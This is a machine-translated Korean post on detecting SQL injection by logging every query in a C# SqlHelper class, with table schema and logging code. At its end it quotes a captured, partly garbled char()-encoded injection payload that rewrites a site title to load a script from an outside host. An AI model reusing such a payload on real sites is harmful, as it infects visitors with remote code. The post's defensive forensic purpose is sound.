성공 적 인 sql 주입 침입 검 측 부대 sql 성능 최적화
CREATE TABLE [dbo].[my_sqllog](
[id] [bigint] IDENTITY(1,1) NOT NULL,
[hit] [bigint] NULL,
[sqltext] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
[paramdetails] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
[begintime] [datetime] NULL,
[endtime] [datetime] NULL,
[fromurl] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
[ip] [varchar](20) COLLATE Chinese_PRC_CI_AS NULL,
[lastelapsedtime] [bigint] NULL,
CONSTRAINT [PK_my_sqllog] PRIMARY KEY CLUSTERED
(
[id] ASC
)WITH (IGNORE_DUP_KEY = OFF) ON [PRIMARY]
) ON [PRIMARY]
를 만들어 sql 문 구 를 기록 합 니 다.이 sql 문 구 는 실행 횟수,파라미터 와 값,시작 시간,종료 시간 을 기록 합 니 다.어느 페이지 에서 왔 는 지,ip 와 이 문 구 는 실행 시간(잠시 사용 되 지 않 음)두 번 째 단 계 는 sqlhelper 에 기록 코드 를 쓰 는 두 가지 방법 으로 private 로 쓸 수 있 었 습 니 다.그러나 이 2 등 불구 가 된 사이트 의 다른 곳 에서 사용 하 는 다른 sqlhelper 류 는 이곳 에서 합 리 적 으로 최 적 화 된 sqlhelper 류 의 방법 을 직접 호출 합 니 다.코드 1:로그 삽입
public static int ExecuteSqlLog(CommandType commandType, string commandText, params DbParameter[] cmdParams)
{
#region
string colums = "";
string dbtypes = "";
string values = "";
string paramdetails = "";
if (cmdParams != null && cmdParams.Length > 0)
{
foreach (DbParameter param in cmdParams)
{
if (param == null)
{
continue;
}
colums += param.ParameterName + " ";
dbtypes += param.DbType + " ";
values += param.Value + ";";
}
paramdetails = string.Format(" {0},{1},{2}", colums, dbtypes, values);
}
string fromurl = "";
if (System.Web.HttpContext.Current!=null)
{
fromurl = System.Web.HttpContext.Current.Request.Url.ToString();
}
// commandText = commandText.Replace("'","‘").Replace(";",";");
SqlParameter[] parameters = new SqlParameter[]
{
new SqlParameter("@hit",1),
new SqlParameter("@sqltext",commandText),
new SqlParameter("@paramdetails",paramdetails),
new SqlParameter("@begintime",DateTime.Now),
new SqlParameter("@endtime",DateTime.Now),
new SqlParameter("@fromurl",fromurl),
new SqlParameter("@ip",Web.PressRequest.GetIP()),
new SqlParameter("@lastelapsedtime",0),
};
#endregion
using (DbConnection connection = Factory.CreateConnection())
{
connection.ConnectionString = GetRealConnectionString(commandText);//ConnectionString;
string sql = "";
// DbCommand , .
int id =
Utils.TypeConverter.ObjectToInt(ExecuteScalarLog(CommandType.Text,
"select top 1 id from my_sqllog where sqltext=@sqltext",
new SqlParameter("@sqltext", commandText)));
if (id > 0)
{
sql = "update my_sqllog set hit=hit+1,ip=@ip,endtime=@endtime,fromurl=@fromurl where id=" + id;
}
else
{
sql = "insert into my_sqllog(hit,sqltext,paramdetails,begintime,endtime,fromurl,ip,lastelapsedtime) values(@hit,@sqltext,@paramdetails,@begintime,@endtime,@fromurl,@ip,@lastelapsedtime)";
}
// DbCommand ,
DbCommand cmd = Factory.CreateCommand();
bool mustCloseConnection = false;
PrepareCommand(cmd, connection, (DbTransaction)null, commandType, sql, parameters, out mustCloseConnection);
// DbCommand , .
int retval = cmd.ExecuteNonQuery();
// , .
cmd.Parameters.Clear();
if (mustCloseConnection)
connection.Close();
return retval;
}
}
코드 2:이 sql 이 존재 하 는 지 판단
private static object ExecuteScalarLog( CommandType commandType, string commandText, params DbParameter[] commandParameters)
{
if (ConnectionString == null || ConnectionString.Length == 0) throw new ArgumentNullException("ConnectionString");
// , .
using (DbConnection connection = Factory.CreateConnection())
{
if (connection == null) throw new ArgumentNullException("connection");
//connection.Close();
connection.ConnectionString = GetRealConnectionString(commandText);
connection.Open();
// DbCommand ,
DbCommand cmd = Factory.CreateCommand();
bool mustCloseConnection = false;
PrepareCommand(cmd, connection, (DbTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);
// DbCommand , .
object retval = cmd.ExecuteScalar();
// , .
cmd.Parameters.Clear();
if (mustCloseConnection)
connection.Close();
return retval;
}
}
세 번 째 부분 은 sql 문 구 를 실행 하 는 모든 방법 에 다음 과 같은 코드 를 추가 합 니 다.Execute Scalar,Execute Reader 든 Execute NonQuery 든 모두
// sql
int log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters);
코드 예시:
public static object ExecuteScalar(DbConnection connection, CommandType commandType, string commandText, params DbParameter[] commandParameters)
{
if (connection == null) throw new ArgumentNullException("connection");
//connection.Close();
connection.ConnectionString = GetRealConnectionString(commandText);
connection.Open();
// DbCommand ,
DbCommand cmd = Factory.CreateCommand();
bool mustCloseConnection = false;
PrepareCommand(cmd, connection, (DbTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);
// sql
int log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters);
// DbCommand , .
object retval = cmd.ExecuteScalar();
// , .
cmd.Parameters.Clear();
if (mustCloseConnection)
connection.Close();
return retval;
}
그리고 침입 입구 가 기록 되 어 있 는 것 을 발견 할 수 있 습 니 다.뒤쪽 사각형 에 있 는 것 은 구조 가 주입 한 sql 입 니 다.구조 sql 은 다음 과 같 습 니 다:39191+update+mywebsetting+set+websitetitle=REPLACE(cast(websitetitle+as+varchar(8000)),cast(char(60)+char(47)+char(116)+char(105)+char(116)+char(108)+char(101)+char(62)+char(60)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(32)+char(115)+char(114)+char(99)+char(61)+char(104)+char(116)+char(116)+char(112)+char(58)+char(47)+char(47)+char(100)+char(102)+char(114)+char(103)+char(99)+char(99)+char(46)+char(99)+char(111)+char(109)+char(47)+char(117)+char(114)+char(114)+char(46)+char(112)+char(104)+char(112)+char(112)+char(62)+char(60)+char(47)+char(115)+char(99)+char(114)+char(114)+char(105)+char(112)+char(112)+char(112)+char(116)+char(116)+char(62)+as+varchar(8000),cast(32)+as+var char(8)--char(8)--char(8)--char(8)--char(112)+char(116)+char 코드 후 이렇게 되 었 습 니 다:update mywebsetting set websitetitle=REPLACE(cast(websitetitle as varchar(8000)),websitetitle+'